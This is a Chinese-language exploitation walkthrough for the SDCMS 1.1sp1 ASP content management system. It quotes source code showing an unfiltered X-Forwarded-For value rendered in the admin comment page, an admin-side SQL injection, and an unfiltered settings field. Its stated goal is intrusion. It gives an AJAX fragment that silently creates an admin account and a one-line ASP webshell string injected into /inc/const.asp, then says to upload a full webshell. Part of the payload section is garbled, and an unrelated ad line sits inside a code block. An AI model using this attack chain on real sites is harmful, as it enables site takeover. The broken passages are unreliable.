SDCMS 1.1sp1的XSS漏洞的挖掘與利用
SDCMS全稱:時(shí)代網(wǎng)站信息管理系統(tǒng)。SDCMS是基于ASP+ACCESS/MSSQL的網(wǎng)站信息管理系統(tǒng)。永久免費(fèi),開源! SDCMS以信息為主題,通過以文字和圖片標(biāo)題為起點(diǎn),以無限欄目分類為支撐,配合多項(xiàng)插件的靈活使用,以達(dá)到信息門戶的遠(yuǎn)景!
SDCMS總結(jié)各類信息門戶的現(xiàn)狀,充分考慮符合站長需求的前提下。設(shè)計(jì)了靈活多變的標(biāo)簽調(diào)用方式,滿足了不同層次的需求。
SDCMS以安全第一為原則,解決了ASP程序的常見漏洞問題(服務(wù)器自身的問題除外)。程序自身無任何后門,嚴(yán)格的代碼過濾功能為網(wǎng)站的安全運(yùn)行提供了可靠的保障。
上面是SDCMS網(wǎng)站對(duì)自己產(chǎn)品的評(píng)價(jià)。確實(shí),其產(chǎn)品漂亮的界面, 靈活的插件體現(xiàn)了這一點(diǎn)。尤其在安全方面, 在防注入方面過濾掉了相關(guān)的敏感符號(hào),起到了一定的防護(hù)作用。
其安全性和外表的美觀性,及其可擴(kuò)展性, 使其成為了廣大建站愛好者的不二之選. 我們google關(guān)鍵字”power by sdcms”便可以發(fā)現(xiàn).
但智者千濾, 必有一失。一般在最平常,最讓人忽略的地方,往往是最容易出問題的地方。(其官網(wǎng)為:http://www.sdcms.cn 大家可以在上面下到源代碼)
看下面的代碼,我們開始慢慢分析:
(注: 這種方法是在管理員允許評(píng)論的時(shí)候,才能利用的,不過,一般管理員都會(huì)允許評(píng)論吧)
在/plug/comment.asp中
sub save_comment
……
username=sdcms_f.HTMLEncode(username)
content=sdcms_f.contentEncode(content)
ip=sdcms_f.getip ‘請看這里,這里得到用戶的IP.
set rs=server.CreateObject("adodb.recordset")
sql="select username,content,ip,infoid,ispass from sd_comment"
rs.open sql,conn,1,3
rs.addnew
rs(0)=left(username,10)
rs(1)=content
rs(2)=ip //沒有任何過濾, 直接插到了數(shù)據(jù)庫中.
rs(3)=id
if sdcms_comment_ispass=1 then
msg_contents=",請等待審核"
rs(4)=0
else
rs(4)=1
end if
rs.update
……
end sub
下面我們看下getip的實(shí)現(xiàn)吧,
在/inc/function.asp中
Public Function getip
ip=request.ServerVariables("HTTP_X_FORWARDED_FOR")
if ip="" then ip=Request.ServerVariables("REMOTE_ADDR")
getip=ip
End function
看到這里,大家都知道問題的存在了吧.作者通過” HTTP_X_FORWARDED_FOR”這個(gè)字段來得到IP的值,而我們知道,這個(gè)字段在數(shù)據(jù)包中是可以偽造的.
我們可以偽造數(shù)據(jù)包,將”HTTP_X_FORWARDED_FOR”的值, 改成一句話木馬提交, 這樣, 就直接將一句話木馬插進(jìn)數(shù)據(jù)庫里去了. 如果我們知道數(shù)據(jù)庫的位置,并且數(shù)據(jù)庫的后綴名是asp的,那么就直接可以利用了.
但可惜,這個(gè)CMS的數(shù)據(jù)庫的名稱未知,在安裝的時(shí)候, 由如下代碼生成12個(gè)隨機(jī)字符構(gòu)成, 加上后綴名還是mdb的, 所以我們要插入一句話, 也沒法利用的.
/install/index.asp中
Function get_something
Randomize
Do While Len(pass)<12 '隨機(jī)密碼位數(shù)
num1=CStr(Chr((57-48)*rnd+48)) '0~9
num2=CStr(Chr((90-65)*rnd+65)) 'A~Z
num3=CStr(Chr((122-97)*rnd+97)) 'a~z
pass=pass&num1&num2&num3
loop
get_something=pass
end function
我們考慮用另外一種方式來達(dá)到入侵的目的.
看如下代碼:
/admin/sdcms_comment.asp
sub main
echo "<form name=""add"" action=""?"" method=""post"" onSubmit=""return confirm('確定要執(zhí)行選定的操作嗎?');"">"
page=request.querystring("page")
if page="" or not isnumeric(page) then
page=1
end if
pages =20
set rs=server.CreateObject("adodb.recordset")
if request("classid")<>0 then tj=" where infoid="&request("classid")&"" ‘這里還有一個(gè)注入漏洞,雖然上面用classid=sdcms.Requestint(classid)來得到其整數(shù)值,但放在sql中查詢的時(shí)候,并沒有用classid來查詢,而是直接用request(“classid”)來查詢,作者在防注入的時(shí)候,沒有對(duì)其值進(jìn)行過濾, 所以可以注入, 但這個(gè)注入的前提是有管理員權(quán)限, 所以,我們就不討論了.
sql="select id,username,"
if Is_sql=0 then
sql=sql&"(iif(ispass=1,'已審','未審'))"
else
全國黃頁(www.soqiye.cn)
sql=sql&"(case ispass when 1 then '已審'else'未審' end)"
end if
sql=sql&",ip,adddate,content,ispass,infoid from "&sd_table&" "&tj&" order by ispass,id desc"
‘作者用sql語句直接查出IP的值來,并用如下代碼顯示在了頁面上,沒有經(jīng)過任何過濾.
<td class="title_bg" style="text-align:left"><span style="float:right"><%if rs(6)=0 then%><a href="?action=pass&id=<%=rs(0)%>&t=1&classid=<%=classid%>">通過驗(yàn)證</a><%else%><a href="?action=pass&id=<%=rs(0)%>&t=0&classid=<%=classid%>">取消驗(yàn)證</a><%end if%> <a href="?action=del&id=<%=rs(0)%>&classid=<%=classid%>" ,false);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send("t0=test&t1=test&t2=1");
這樣,管理員瀏覽過評(píng)論后,就會(huì)自動(dòng)添加一個(gè)帳號(hào), 呵呵.
這在我以前的文章中都提到過, 就不細(xì)講了.
接下來是如何拿shell. 我們看下后臺(tái)寫配置的地方的代碼:
在/admin/sdcms_set.asp中
set fso=server.CreateObject("scripting.filesystemobject")
set info=fso.CreateTextFile(Server.mappath("../inc/const.asp"),true)
info.write "<" & "%" & vbcrlf
……
info.write "%" & ">"
info.close
set info=nothing
set fso=nothing
作者將配置文件寫到了/inc/const.asp中,
而在
sub save
t0=clear_bad(trim(request("t0")))
t1=clear_bad(trim(request("t1")))
t2=clear_bad(trim(request("t2")))
t3=clear_bad(trim(request("t3")))
t4=clear_bad(trim(request("t4")))
t5=clear_bad(trim(request("t5")))
t6=clear_bad(trim(request("t6")))
t7=clear_bad(trim(request("t7")))
t8=clear_bad(trim(request("t8")))
t9=clear_bad(trim(request("t9")))
t10=clear_bad(trim(request("t10")))
t11=clear_bad(trim(request("t11")))
t12=clear_bad(trim(request("t12")))
t13=trim(request("t13"))
t14=dir_check(trim(request("t14")))
t15=trim(request("t15"))
t16=trim(request("t16"))
t17=dir_check(trim(request("t17")))
if t17<>"" then t17=t17&"/"
select case t3
case ".htm",".html",".shtml"
case else:t3=".html"
end select
select case t13
case "0","1"
case else:t13=0
end select
set sdcms_f=new sdcms_function
t9=sdcms_f.check_event(t9,"|"):t10=sdcms_f.check_event(t10,"|"):t11=sdcms_f.check_event(t11,"|")
set sdcms_f=nothing,
對(duì)其提交的參數(shù)進(jìn)行了過濾.
Function clear_bad(t0)
clear_bad=Replace(t0,"""","")
clear_bad=Replace(t0,CHR(10),"")
End Function
上面可以看到對(duì)t15,t16的值沒有過濾.
T16正好是系統(tǒng)管理,偏好設(shè)置中的文件名稱項(xiàng)
所以,我們將文件名稱的值改為test"%><%execute request("value")%><%a="test
這樣, 我們就在/inc/const.asp文件中,寫入了一句話木馬.
然后再上傳大的webshell就OK了.